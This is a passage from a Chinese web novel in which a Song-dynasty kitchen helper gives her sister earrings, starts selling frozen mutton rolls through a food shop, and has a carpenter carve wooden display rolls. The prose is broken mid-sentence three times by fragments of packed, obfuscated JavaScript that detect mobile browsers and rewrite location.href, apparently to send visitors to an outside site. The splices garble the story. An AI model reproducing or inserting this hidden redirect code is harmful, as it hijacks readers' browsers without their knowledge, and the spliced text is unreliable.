现而王司长的赏赐泡汤了，他心里却平衡许多。 厨子和备菜丫头拿赏赐他不嫉妒，毕竟人家做的菜确确实实被主家夸赞了，只要不是其他司长就好。 王司长没瞧见台盘司司长的神情，只看到梁琪捧着一兜子的钱从堂上出来，看得他脸色都冷下来了。 梁琪抱着钱回到厨房，按照于相公的赏，把钱一一分给水夫、火夫、备菜丫头和厨子。 张铛头儿到底是掌勺，分到不少赏钱，总觉得拿着心里有愧，要不是梁琪懂事，这钱他本拿不了那么多。 采荷分到三百钱，虽然比梁琪的赏钱少得多，却心满意足得很。 同是备菜丫头，梁琪的厨艺都已经磨练到这个地步了，她还仍旧只会备菜，拿微末的赏钱。 但她心里一点都不嫉妒，没有金刚钻，不揽瓷器活，梁琪吃肉她根本喝汤就很好啊。 谁知，梁琪却跑来说：“荷娘，我知道你赏钱少心里不好受，往后你就跟我苦练厨艺，不能一直当备菜丫头。” 采荷：“……” 她其实也没那么远大的抱负啦。 15. 珍楼 于府的宴席只持续两日，比想象中结束得快，宾主尽欢后欣然散去。 白席人散工时，各司局的司长和局长已经交代好了下次上工的时间和地点：两日，城北郭家。 城北兴国寺南边的郭员外家办六十大寿，早已预约好了四司六局前去筹办。 梁琪是傍晚时到的家，梁莹和梁元也都刚回来，一见到阿姐，双双迎上来，梁家祖传的大眼睛中透着欣喜。 梁琪和弟弟妹妹分别拥抱一下，环视家中，并无太大变化，连墙角堆放的柴火和草垛子都没减少。 她笑说：“合着我不在家这两日，你们连火都没生啊。” 梁元连忙解释说：“阿姐你说巧不巧，我才到开封府六七日，就到了发饷的日子，主薄说也有我的份，我便领了工钱和布帛。” 梁莹无奈地接着说：“阿兄说左右他有钱，便不用自己做吃食，这几日的晚饭都是在蔡河市上的摊贩上买来的。” 梁琪哭笑不得，这臭小子刚发了工钱就不知天高地厚，非花完不可。 不过往日原身不在家时，两个小的也不常自己做饭，盖因厨艺太臭，都是原身出门前留家里几张胡饼，让他们泡着热水蘸油盐吃。 若是吃完原身还没回来，就拿铜板去河市上买饼子和包子。 现在好歹梁元能赚钱了，她不在家，两兄妹的伙食也能改善改善。 钱赚来不就是花的吗？河市上那么多吃食，多尝尝也挺好。 现在的吃食都是真材实料，可没有后世那些地沟油、滑石粉、三聚氰胺等科技和狠活，买外边的吃食不用担心食品安全问题。 梁元怕梁琪生气他乱花钱，忙殷勤地说：“阿姐在四司六局辛苦了一日，必然不能叫阿姐再做晚饭，这不巧了，我买了嗦饼和水饭，阿姐尽管吃。” 臭小子挺会找补。 “就只吃主食啊？”梁琪扬了扬手里的油纸袋，“我买了炸鳝鱼、卤肚肺，还有姜辣脚子，洗手准备吃饭。” 梁元越听眼睛瞪得越大，狠狠抹了把口水说：“还是阿姐有钱啊！” 梁莹也抿嘴一笑，即便爹娘都不在了，只要阿姐一回来，这家就有了家的温度。 梁家小院平平淡淡过了一夜，第二天一早，阳光照得小院里暖烘烘的。 三姐弟一起出门，梁元和梁莹去上工，梁琪则打算去街上逛逛。 她记挂着今日是梁莹的生辰，打算给小丫头买件首饰，姑娘家没有不爱美的，怎么能没有首饰戴？ 汴京城最好的首饰铺叫珍楼，足足有三层，就坐落在宜德门斜对面，离皇城一步之遥，可见金贵。 梁琪一路来到这珍楼。 掌柜娘子迎上来热情地介绍，一楼是寻常金银玉饰，二楼的首饰弥足珍贵些，三楼则是珍品，要价也不俗。 梁琪最近虽赚了一些钱，可在偌大的东京城仍算底层，这里又是首饰楼，随便一样首饰都要好几百钱，便也只能勉强在一楼转悠。 好在一楼的首饰已经足够多了，赤金、足金、和田、翡翠，真真是把人眼都看花了。 她转悠好几圈，选中两样喜欢的款式，一支深蓝色珐琅彩的足银钗，一对珊瑚珠耳坠。 银钗是给自己的，耳坠是送给梁莹的生辰礼。 珍楼是个不讲价的地方，两样首饰一共花去两贯零三百钱。 梁琪付清钱，正要离开，突然听楼上有争吵的声音传来，细听是妇人尖锐的骂声。 “怎么啦？”她吃惊地问 掌柜娘子也不知情，但对于这样的事情已经司空见惯，珍楼的贵客可不少，脾气大的自然不在少数，因此淡定地让梁琪不要在意。 很快，三楼下来一个小娘子，低声说：“娘子，吕夫人预定的一套妆奁被人买走了，现下正在三楼骂人，奴怎么道歉她都不听。” 掌柜娘子对客人客气，对自家的伙计可不客气，低声骂道：“你是怎么办事的？说了多少遍三楼的贵客一定要好好招待。” 那小娘子被骂得唯唯诺诺，一时不知道该怎么处理。 梁琪瞧着那小娘子和梁莹一样长了张清瘦的瓜子脸，不禁生了些恻隐之心，问道：“不知那位吕夫人先前可交订银了？” 小娘子摇摇头：“并未，吕夫人只是半月前口头说想买那套妆奁，并没有交订银，前几日来了位张夫人也看中了，随身带了足够的银钱，当场买走。” 所以今日这位吕夫人带足了钱来，却发现妆奁已经被人买走了，一时恼怒逮着小娘子怒骂起来。 梁琪说：“掌柜娘子，既然那吕夫人连订银都没交，铺子自然有权利把首饰卖给别人，怪不得这小娘子。” 掌柜娘子平复一下情绪，对三楼的小娘子说：“行了不怪你，就这么跟客人解释去吧。” 梁琪也只能小娘子解围到这儿，冲掌柜娘子微微一欠身，告辞而去。 离开珍楼，梁琪一路往南走，路过州桥桥市，见到有卖樱桃的摊贩，便蹲下捡了两斤，拎着樱桃来到孟记食铺。 已经过了早饭的时间，铺子里的客人不多，只有三两桌上了年岁的老相公，吃着汤包、喝着水饭，不耽误悠闲哉哉地聊天。 梁莹正在柜台后面看账本，一张算盘打得噼里啪啦响，那个专心的劲儿都没瞧见阿姐来。 还是姜娘子眼尖，不仅瞧见梁琪，还一眼看到那鲜红的樱桃：“呀，瞧瞧梁小娘子给咱们带了什么好果子！” 梁琪把那兜子樱桃放在柜台上：“卖樱桃的娘子说是一早刚摘的，水灵着呢，不管吃鲜的还是做成樱桃煎，你跟二娘自个儿看着办。” “那就一半一半。”姜娘子转头喊梁莹，“莹娘，瞧你专心的，快看谁来了。” 梁莹抬头看到一道熟悉的身影，原本疏离的眼睛中顿时有了神采：“阿姐？” 梁琪招招手：“过来。” 梁莹便绕出柜台，来到梁琪面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890720|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梁琪伸手给她带上一对耳坠，轻声说：“生辰快乐。” 梁琪抬手摸了摸耳垂，她还从未收到过首饰当礼物，像所有收到出其不意惊喜的姑娘一样，脸颊红红的，手脚都有些不自然了。 “谢谢阿姐。” “好看。”梁琪说，“不耽误你的事，快去忙吧。” 梁莹点点头，又绕回柜台。 姜娘子吃着水灵灵的樱桃，虽没听到两姐妹小声说的话，却看到梁莹耳朵上那漂亮的珊瑚珠耳坠，满脸都是羡慕：“有阿姐的人就是幸福，瞧咱们莹娘带上之后，人都更俏丽了。” 恰时，孟二娘回来了，姜娘子喊她来吃樱桃：“梁小娘子送来的，瞧，个儿有大啊。” 孟二娘笑说：“梁小娘子来得正是时候，我正想找你呢。” 梁琪知道是什么事，她来孟记食铺，一是给梁莹送生辰礼物，二是提醒食铺傍晚去取汤包。 去于府前她给食铺做了一千只汤包，三天的量，如今正好是第三日，食铺冰窖的汤包也该见底儿了。 果然，孟二娘说：“汤包卖得十分好，方才我去冰窖看，一千只就只剩三十来只了，你把分成取走，再做些来。” 梁琪光想着做汤包，竟忘了取分成这回事，乍一被孟二娘提醒才想起，惊喜道：“这么说，我今日又有一笔进益！” 这爱财的小表情，惹得姜娘子和孟二娘抿嘴轻笑，后者说：“是呢，得亏铺子里尚有包袱皮，你就背回去吧。” 几个娘子边吃樱桃边聊天，气氛倒是好得很。 梁琪突然听到旁边那桌的食客在说于府宴席的事，细听竟是在夸赞宴席上那道羊卷暖羹。 “听说那羊羹里的肉卷比樊楼大厨削得还薄，老天爷，别说在汤羹里涮，就是在清水里涮也是美味啊。” “可惜咱们不够格去于府赴宴，否则真想尝尝那肉卷的滋味。” 恰好有活计拎着茶壶为食客添茶，梁琪走上前，接过活计手中的茶壶亲自倒上，边问：“两位相公，方才听你们说起于府的羊羹肉卷，不过是宴席上的一道菜，怎的传到市井里了。” 其中一相公解释说：“小娘子有所不知，这各大府宅宴席上的菜，向来是市井吃食的风向标，若是有哪道菜极为出名，就会在市井广为流传，刚才说起的肉卷便是近期各大宴席上脱颖而出的菜品，不光咱们知晓，邻里街坊都也都听说了。” 东京城向来有模仿之风，从前皇家有四司六局，达官贵人模仿之，达官贵府的菜品，市井百姓模仿之，从前只有皇家女眷才能穿丝绸、穿紫衣，如今百姓也能随心穿戴。 梁琪懂了，用后世的话来说，就是羊肉卷火了，被于府带货带火了。 没想到这于相公还是个带货达人。 既然是个商机，那就要踩中风口。 梁琪几乎没有犹豫，对两位老相公道了谢，转身就对孟二娘说：“二娘，咱们再来做一笔生意。” 16. 批发 自从和梁琪合作生意以来，孟二娘赚了不少，食铺的生意不说红火，也算得上不错。 因此听到“再做一笔生意”时，颇有兴趣地问：“什么生意啊？” “于府宴席上的羊卷暖羹，二娘可知晓？” 孟二娘点点头：“当然，今日已经有好几位食客来问询，食铺能做樊楼同款汤包，能不能做于府同款羊羹，老天爷，那肉卷削的薄如蝉翼，我这小食铺可做不出来。” 梁琪神秘一笑：“往后就能做出来了。” 孟二娘先是一愣，旋即想明白了，瞪大惊喜的眼睛：“梁小娘子，于府那羊肉卷，不会是你削的吧？” 梁琪小小得意一下：“于府请的四司六局正是我服役那家，那道羊肉卷正是本备菜丫头削的。” 孟二娘有种见到偶像的奇异感觉，这两日坊间都在热议那道羊羹，不曾想竟是出自熟人之手。 她兴冲冲地问：“这道羊羹近日肯定好卖，咱们要卖这道菜吗？” 梁琪却摇摇头：“即是风口，总有过去的一日，咱们要做的是踩着风口赚快钱。” “啊？”孟二娘不太理解。 梁琪便把自己的构想详细说了。 既然汴京城中如今刮起一阵羊肉卷的风，那么卖羊卷暖羹这道菜，不如直接卖冷冻羊肉卷。 她来采买羊肉，来刮肉卷，刮好的薄肉卷照旧放在孟二娘的食铺中，在风口挂上“于府同款羊肉卷”的招旗吸引顾客。 这肉卷可零卖，可批发。 零卖给那些打算在家中涮羊肉的食客，有了于府这个榜样，想来城中有不少贵府都想吃到同款。 现而有了这肉卷，买回去自己做岂不是一样？ 且说那涮羊肉的羹汤，自家若能熬制那是最好，不会熬制也无需担心，即便是用清水涮羊肉，也是极为美味。 汴京人可能不知，但梁琪知道，后世的老北京铜锅涮羊肉，用的就是清汤，汤羹越清澈，越能保存羊肉的原汁原味。 至于批发，则是卖给其他食铺。 不是说除了樊楼的大厨，东京城中鲜有酒楼、脚店和食铺能把肉卷削得如此薄吗？那她们就把肉卷批发给这些酒楼、脚店和食铺，让他们都能做起这道羊羹。 有樊楼名菜的名头在前，何愁肉卷会卖不动？ 孟二娘听着听着，眼里的精光越来越闪烁，这是一桩好生意啊。 相比于卖羹，直接卖冷冻肉卷的主要优势就是成本低、流程简单。 只需要在肉铺采买羊肉即可，削成肉卷放置在现成的冰窖中，客人即买即走，即不用厨子做菜，也不用费心招呼、收拾饭桌碗盏等杂务。 而且来买肉卷的客人何尝不能成为食铺的食客？即便不是正儿八经来吃饭，喝碗饮子也有盈收啊。 这就好比后世的超市中兼收快递，拿快递的人在超市顺手买个小物件，一瓶水、一盒烟、或是一袋面包当晚餐，都是再寻常不过的事。 梁琪继续说：“当然，二娘若是想在食铺的菜单中加一道羊羹，也无妨，毕竟咱们守着货源，是最方便的，加与不加，全看二娘自己的打算。” 孟二娘其实心里已经打定主意要加，肉卷照常卖，无非是在菜单中加一道菜而已，相信食铺的厨子能调制出可口的羹汤来。 两个娘子谈话间，就把一桩生意的“可行性”验证通过了。 接着便是分利。 先前的汤包，梁琪拿的是三分利，后来改成速冻汤包后，改为两分半的利。 皆因孟二娘要提供食材、要上门运货、又要添煤炭钱蒸熟汤包，食铺里的跑堂、响堂、厨子都份参与，拿大头利润也是理所应当。 但这次的羊肉卷，梁琪则是自己卖肉，自己出力切削。 孟二娘这边提供冰、冰窖、叫卖伙计和售卖场地。 这种生意模式其实叫“寄卖”，一方提供成品货物，另一方提供售卖场地，且不说后世很常见，就是在本朝汴京城，所见也不少。 一些尚无财力开张店铺的秀娘，便会把自己的绣品寄放在秀坊、布行、成衣铺或是手帕行，一旦售卖出去，就按商量好价钱给店家抽取分成。 梁琪心里其实已经算好分成了，四六开，她六，二娘四，双方在钱上都不吃亏。 但还是先问了孟二娘的意见：“二娘开个价，咱都是老熟人了，爽快点。” 孟二娘翘着指头比了个“三”：“我三你七。” “四六吧，你四我六。” “四六你有点吃亏，我拿三分半的利，总行吧。” “行，成交。” 一旁的姜娘子和梁莹：“……” 这两人谈生意好快。 临近晌午，食铺里的食客逐渐多了起来。 孟二娘一边忙活铺子里的活计，一边招呼梁琪留下吃午饭，让厨子加道菜的事。 梁琪还是婉拒了，一来孟二娘正忙着，她再留下来裹乱实在不合适，二来，她坚持认为越是金钱上的合作关系，越要划清界限，省的因为蝇头小利生出隔阂，就不好了。 辞了几个娘子，她只身在街上闲逛。 羊肉卷的生意光凭孟记食铺一张“于府同款”的招旗还是不够，她得想法子打打广告。 经过州桥时，桥上有家卖羊肉烧饼的摊子，梁琪花十文钱买了两个饼子，用油纸包着吃。 这饼子和后世的烤馅饼儿很像，里面时羊肉胡葱的肉馅儿，外面是一层厚实的面皮，表面还沾着黑芝麻，在炉中烤的金黄，散发着面食独有的清香。 梁琪站在桥头上啃饼子吃，望着卞河水从桥下缓缓流过，州钱是座飞桥，也即拱桥，船夫撑船从下面穿梭而过，有载客的，有运粮的，很是热闹。 桥上就更热闹了，两边满是买卖交易的摊贩，形成一处繁华的小市场，也叫州桥桥市，到了晚上就叫州桥夜市。 梁琪所知道的《清明上河图》中，便绘有虹桥桥市的热闹景象。 虹桥尚在东水门外七里，这州桥则是在内城，正对御街，比起虹桥的繁华有过之而无不及。 除去大相国寺的万姓交易，这里是人流量最大的地方之一。 倒是个打广告的好地方…… 梁琪琢磨着，倒是可以在这桥上，给她的“羊肉卷”摆个摊儿。 啃完肉饼，她又在桥上买了碗香饮子，荔枝味的。 饮子盛在碗里清澈透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895322|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮，喝起来有甜丝丝的，还有点微凉，摊主娘子说是浸泡在深井水中的缘故。 这摊主许是在桥头卖香饮子久了，熟客都叫她“香娘子”。 梁琪坐在小木墩上，边喝边和摊主闲聊：“香娘子，敢问在这桥上摆摊儿，需要给官府报备吗？” 毕竟后世但凡人流量大的地方，摊位费都极高，倘若不是正经摊位，还要时刻担心被城管抓。 香娘子是个二十多岁的妇人，闻言笑说：“不用给官府报备，只需要到街道司登记造册，缴纳税钱就行。” 相当于交摊位费嘛。 梁琪又问：“像娘子这种摊位，一日要缴多少钱？” 这香娘子可是行家里手，税费张口就来：“咱们州桥上的税钱和商户是一样的，流通税千钱二十，交易税千钱又二十。” 加起来也就是百分之四。 都说宋朝的商业税高，的确是有些高，不过尚在梁琪的接受范围内。 她原本想在这州桥上摆个摊儿，倒也不卖什么，只为给孟记食铺的羊肉卷打广告。 可一听这桥头税，便改了主意。 “香娘，可否打个商量。”梁琪笑说，“我每日支给你二十钱，你在你的摊位上帮我挂个招幌如何？我只想给食铺的菜品赚些吆喝。” 这倒是个新鲜的招式，香娘好奇地问：“我只需在摊子上挂个招幌，你就每日给我二十钱吗？” “当然。”梁琪问，“娘子是每日都出摊吗？” 香娘点点头：“妾身风雨无阻，在这州桥上卖香饮子足足三年了。” 梁琪彻底放下心来：“不若我现在就支五日的钱？每隔五日，我都来此支下五日的钱。” 说着，她从包袱中数出一百钱，交给对方过数。 人家既然长年在此处做生意，就不会为了区区百钱而跑路，太得不偿失，况且桥上的摊贩在街道司都有造册，街道司每月还要来收税收，是放心不过的。 “果真。”香娘也是爽快人，数过钱后就痛快地答应下来，“你且把你的招幌拿来，我日日挂在显眼的地方就是。” 梁琪应了声，走之前把面前的荔枝饮仰头饮尽。 先前没注意，这会儿说起做招幌，梁琪才发现，原来汴京城里的商铺都这么会“打广告”。 走在街上四处看去，有门上挂刻字的木牌子，叫招牌；门前竖桅杆，杆上挂大旗的，叫招旗或招幌；财大气粗的商家更是在门窗上悬挂彩色帷幔，叫彩楼欢门。 那樊楼，还有那珍楼，门首皆缚彩楼欢门。 当然，更有一些便宜的“打广告”方式，便是街头巷尾的吆喝声，纯人工，零成本。 要做招幌也不难，只需找一家裁缝铺，不挑样式的有现货，只需在旗面上写上或者绣上字即可。 若是有特殊要求的样式，裁缝也能赶工做出来，只是价格更贵些。 梁琪不挑款式，更不用绣字，只让店家在旗面上用粗毛笔写下“于府同款羊肉卷”几个大字，再换小羊毫写上孟记食铺的地址，就算做完了。 拿到招幌，梁琪没急着回州钱，而是向裁缝打听了城中手艺最好的木匠。 转而去了木匠铺。 17. 刨木花 旧宋门旁有条巷子，巷子中有户姚姓木匠。 梁琪透过敞开的院门往里望，院中是典型的木匠人家才有的模样。 西墙堆放着木材木料，有锯好的木板，也有原木，东墙处则是做好的成品木具，大到床、柜，桌椅，小到锅铲、擀面杖。 有精致如屏风、雕花窗，也有粗糙的农具和木车。 有已经上漆的成品，也有正在晾晒除水份的半成品。 院中传来??的敲击声，是一位精瘦的匠人正在做木工活计，脚底下是满地的木屑木花。 那匠人眼瞅着有五十岁了，两鬓微白，约莫长年做工的缘故，脸和脖子上的皮肤黝黑。 梁琪敲了敲院门，在得到“请来”的应答后走进院中，行了个叉手礼：“姚木匠，您做的物件可真多。” 姚木匠手里有活，微微点头算是招呼，问道：“小娘子想打什么？家具还是厨具？” “不是家具、亦不是厨具，更不是农具。”梁琪笑了笑，语出惊人，“我想打羊肉卷。” 姚木匠抬起头露出怪异的神色。 他觉得这小娘子是来砸场子的，没好气道：“卖羊肉卷你去肉铺，再不济就去于相公府上，来老头子我这做什么？” 梁琪开了个玩笑儿，也算是真话，可听到对方竟然说出去于府买羊肉卷的话，又诧异地问：“连您都知道于府的羊羹？” 姚木匠再次没好气地说：“晨起去河市买肉，卖肉那屠户摊子前客人竟比往日多不少，都是听说那于府的羊羹后，买羊肉自己尝试的，害得我多等了半个时辰，我能不知道？” 梁琪笑说：“难怪您生气。” “所以你这小娘子买肉不去找肉铺，来我这木匠院子里做什么？” “我就是卖羊肉卷的。”梁琪说，“听说您的技艺是城中一绝，我想请您用木头刨出羊肉卷的形状来，做成一盘假肉，放在人多的地方给客人展示用。” 姚木匠：“……” 如今厨子行当做生意都到这个地步了吗？ 梁琪不觉得有任何不妥，后世的餐饮行业不常常做假菜道具吗？似乎是用泡沫做成，刷上颜色，成了一道形色俱全的“佳肴”。 即能直观的吸引顾客，又能保持“新鲜”。 她也是这么想的，光在州桥上立一招幌固然能吸引部分客人，可客人哪知道孟记食铺的羊肉卷长什么样？能否和樊楼大厨的手艺相比？ 倒是也能削一盘货真价实的羊肉卷摆在州桥，可这天儿越发热，冰在室外都存不了多久，更别提肉卷了。 要不了一个时辰，就全塌下来，成为一团了。 即是只要其形，不如做一盘假的。 梁琪几乎瞬间想到木匠的刨木花，相传手艺高超的木匠能把木头刨的像纸一样薄。 就和削冻羊肉一个道理，动作缓慢地刨出来木片是直的，快速削出来的木片和羊肉卷一样，是卷成卷儿的。 她试着问：“您能做得出来吗？” 姚翁直觉拒绝：“能做，不做。” “为何？” “耽误事。”姚翁摆摆手，“我做床榻，包工包料，做一张的工钱是两百多文，刨木花你说我怎么收工钱？按木料收钱岂不是亏到姥姥家了？” 梁琪笑说：“那不还有手工钱嘛。” 姚木匠依旧摇头：“不愿费那闲功夫。” 梁琪在旁边好说歹说都没用，姚木匠是靠手艺吃饭的，靠手艺吃饭的人都有个特性，就是脾气倔。 万事不求人，可不脾气倔吗？ 梁琪无奈，都要放弃了，忽然听姚木匠喃喃说：“现在的小娘子做生意就是瞎搞，想要羊肉卷，找于府那厨娘不就好了。” 梁琪都打算离开木匠家了，听到这话随口回了一句：“哦，我就是于府那厨娘，这不是木头‘肉卷’更适合展示吗？” “你等会儿。”姚木匠闻言突然顿了下，“你说削出比樊楼大厨还要薄的羊肉卷的厨子，是你？” 梁琪点点头：“是啊。” 姚木匠再三确认：“小娘子可莫要骗人。” 梁琪苦笑：“妾身骗人有什么好处？” 姚木匠神情突然多了几分严肃……或者说多了几分敬重：“我可以帮你削木卷。” 梁琪都惊呆了，方才费了多少口舌，对方都不松口，现在得知自己是于府做羊羹的厨娘，突然就愿意做啦？ “多、多少钱？” “不要钱。” 不仅愿意做，还免费？？ “为什么啊？”梁琪人都傻了。 姚木匠挑来一根上好的木材，表面光滑，一看密度就很大，不打油就已经油光发亮。 他低着头打磨了一会儿，才囔囔地说：“不为别的，为着你的手艺好。” 梁琪听得懵懵懂懂，这大约就是手艺人之间的惺惺相惜？ 姚木匠又去拿木刨子，大师傅的工具还真不少，木刨子足足有五六只，摆在架子上像一只只蟾蜍。 他一边挑刨子，一边语气平淡地说：“樊楼的大厨，是我师兄。” 梁琪猛的听到这样的话，嘴巴吃惊地张着：“您，您是木匠，他是厨子，竟师出同门？” 姚木匠选了一只看起来比较老旧的刨子，把手瞧起来抚摸得锃亮，应是用的十分顺手：“我原就是学厨的，因刀工没比得过师兄，便没学到师父的真传，一气之下转而做了木匠，我师兄他学有所成，如今正是樊楼的铛头儿。” 梁琪懂了，轻声说：“那您也很厉害，虽说刀工差了师兄半分，转做木匠也做到了全城第一。” “也是。”姚木匠难得笑了下，挽起袖子，把木刨子轻轻放在木料上，“那就请小娘子瞧好了。” 他双手握住刨子的木柄，轻轻推出去，木刨子的另一头便吐出一片轻飘飘的木片，等推到头，一片完整的木片也就出来了。 梁琪接过来左看右看，惊喜地说：“这刨子如此笨重，削出来的木片却如此轻盈，能透出人影，竟真和羊肉卷的厚度一样！” 姚木匠虽没说话，心里却因梁琪的话赞叹一声，这是他能削出的最薄的木片了，若小娘子的羊肉卷也能削这么薄，的确技艺精湛。 他二话没说，操纵着刨子又动作麻利地削了几下，因为削得快，所以木片呈现自然卷曲的形状，和羊肉卷就差颜色不一样。 木卷纷纷掉落出来，梁琪开心地去捡，力道十分轻，生怕捏坏了这精致之物。 足足捡了一整盘，她雀跃着说：“够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904285|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了够了，姚叔，足够了。” 姚木匠便停下来，回屋取了几小瓮油漆，红的白的，在木浅子上调制出最像羊肉卷的颜色，而后拿刷子细心地刷在每个木卷子上。 技艺精湛的木匠能在家具便面刷出木纹，把拼接的木料刷得跟原木似的，纹路自然如百年老木，外行人半点都分辨不出。 姚木匠便是有这个手艺，把木卷子刷得仿佛真的羊肉卷。 等油漆一干，梁琪看着那一只只的“羊肉卷”，仿佛能问道羊肉的奶香味。 姚木匠又取一只打磨过的木盘，把木卷子仔细地摆放在盘中，摆好后活像一盘新鲜的羊肉卷。 他用少量的透明树胶把这些木卷固定在盘中，如此，一盘活灵活现的“羊肉卷”就做好了。 最后潇洒收手，深藏功与名。 “三百六十行，行行出状元，这话一点都不假。”梁琪忍不住啧啧称奇，“这么好的手艺不给工钱真不好意思，姚叔，您开个价吧。” 姚木匠还是摇头：“你若执意给钱，不如我吃顿羊羹，让老头子也见识比师兄削得还薄的羊肉卷。” 梁琪一口答应下来：“姚叔即可就能随我去城南家中，我亲手做与姚叔。” 姚木匠摆摆手：“今日不得空，活儿多。” “那就改日。”梁琪捡起一根木棍，在地上写下两个地址，一个是城南桃源巷的家中，另一个是孟记食铺，“若我不在家中，姚叔便到这食铺中去，我自与食铺的老板娘交代清楚。” 出了木匠家的院子，梁琪又匆忙赶回州桥，把招幌和“羊肉卷”交给香娘子。 香娘子先看到那盘“羊肉”，诧异地问：“你怎么还带了盘羊肉，嗬，这羊肉刚从冰窖里拿出来吧？真轻薄啊！咦？怎的这么轻？” 梁琪笑说；“你再仔细看看呢。” 香娘子这才发现端倪，诧异地说：“竟是木头做的？” 梁琪点点头：“旧宋门姚木匠的手艺就是好，用木头就能和羊肉卷做得一模一样。” 香娘子的诧异一波未平、一波又起：“你是说，你卖的羊肉卷，就长这样啊？” “是啊。”梁琪指着招幌上的字，“于府同款嘛。” 香娘子却突然激动起来：“当真是于府同款的话，梁小娘子，先给我留两斤肉卷，得空便去拿。” 梁琪哭笑不得：“好嘞。” 有了州桥上的招幌和木制“羊肉卷”，孟记食铺里来卖速冻羊肉卷的客人络绎不绝。 孟二娘铺子里的活计都不够用了，亲自下手为客人称羊肉。 一边铜钱收的盆满钵满，一边忍不住地赞叹梁小娘子：“真是个赚钱的鬼才。” - 梁琪亲手布置了一台自动运转的赚钱机器，就当起了“甩手掌柜”。 按照四司六局定下的时间，她得去城北郭员外家集合。 据说郭家的寿宴要办三日，前两日都是预热，第三日才是老爷子正儿八经的寿辰。 要不说有钱能使鬼推磨呢，连生辰都连过三日。 梁琪和到了郭家后，见到了厨司新来的备菜人——一个挺话痨的、年轻的……男的。 梁琪寻思，这总不能叫备菜丫头了，叫什么呢，备菜小伙儿？ 18. 备菜小伙儿 郭员外出身商贾，是汴京城有名的富商之一。 和武举出身的李老爷不同，这位郭员外并不一味地追求雅致，人也上了年纪，越发地怀念幼时田间的淳朴乡风。 因此这次的寿宴，东家不求雅致，只要热闹。 前院没有丝竹管弦，倒是唢呐吹得震天响。 梁琪她们在后院都能听到。 郭老爷没有一官半职，有的就是钱，因此也被人尊称一声“员外”，因为有钱，后厨都比李府和于府的宽敞豪华不少，引得几位备菜人啧啧不已。 采荷在厨房环视一圈，颇为激动地说：“瞧这菜刀，吹毛断发，一看就是上好的玄铁打造，再瞧这案板，切菜而已，也用得上沉香木？” 四司六局中，每个司局都有众多工具和道具。 帐设司的道具最多，桌椅营帐一应俱全，更有诸多名家字画；台盘司的东西也不少，杯盘碗盏，琉璃器具……就连厨司也有一堆厨具。 一般来说，每个厨子都有一把自己用惯的菜刀，讲究的备菜丫头也不例外，梁琪和采荷都有自己的菜刀。 只是相比郭宅后厨准备的厨具，她们的就不够看了。 采荷立刻放弃了自己的菜刀，改用厨房配备的刀。 她试切了胡萝卜满意道：“这菜刀真锋利，郭家要的菜品比上次李府的还多，幸而有把好刀，干活也能事半功倍。” 梁琪笑了笑，刚想接话，就听一旁新来备菜小伙儿说：“采荷姐姐只是夸刀，就不夸夸我，难道我不比先前那个叫翠竹的干得好？” 采荷先是一愣，估计也没想到这小伙儿这么自来熟，瞧着有二十多岁了，比她俩都大些，还叫姐姐。 不过四司六局论资排辈，小伙子来的晚，又年轻，叫声姐姐也不算吃亏。 她先是用眼神和梁琪碰了下，随后笑说：“王小官人干活挺麻利，我们的确省事多了。” 小伙儿随和地说：“姐姐们唤我本名王礼就好。” 采荷“嗯嗯”地答应着，正要把一只盛着肉酱的陶罐搬出来，就见那王礼眼疾手快地接过：“这种重活儿怎么能让姑娘家来干，交给我来。” 从前这样的活儿可都是梁琪和采荷两人干的，现在厨司来了备菜小伙儿，还真是方便不少。 采荷红着脸道了声“谢谢”，抱着番薯凑到梁琪跟前儿，一边削皮一边小声说：“这小官人还真不错哈。” 梁琪拿采荷当好朋友，也愿意跟她说些大实话，趁着王礼去外面的空隙，用仅两个人听到的声音说：“我不怕泼你冷水，这王小官人怕是没你想的那么简单。” 采荷抬起头：“啊？” 且不说整个四司六局，就是厨司也有不少年轻小伙儿，有水夫、有火夫、有担夫，干的都是体力活儿，稍微不那么繁重的活计只有备菜。 或者说备菜是个细致的活计，需要小娘子来干，故而把头儿找来备菜的也一般是姑娘家，这也是为什么白席人习惯性称呼备菜人为备菜丫头。 那为何这王礼能来备菜呢？ 想来是有关系的。 这么一解释，采荷就懂了：“难怪啊，咱们在四司六局好几年，也没见过男的来备菜。” 梁琪所虑的是，那王礼的刀工还没她们俩熟练，想来也不是厨子一行出身，去哪个司局不好，偏偏来了厨司。 年轻小官人一般都愿意去更有前途的帐设司，再不济去排办司或茶酒司，至少也算在前院干活，窝在厨司当备菜人何时才能熬出头？ 除非…… 梁琪心里有个隐隐约约的猜测，除非他根本不是来当备菜人的，他瞄准的是厨子的职位。 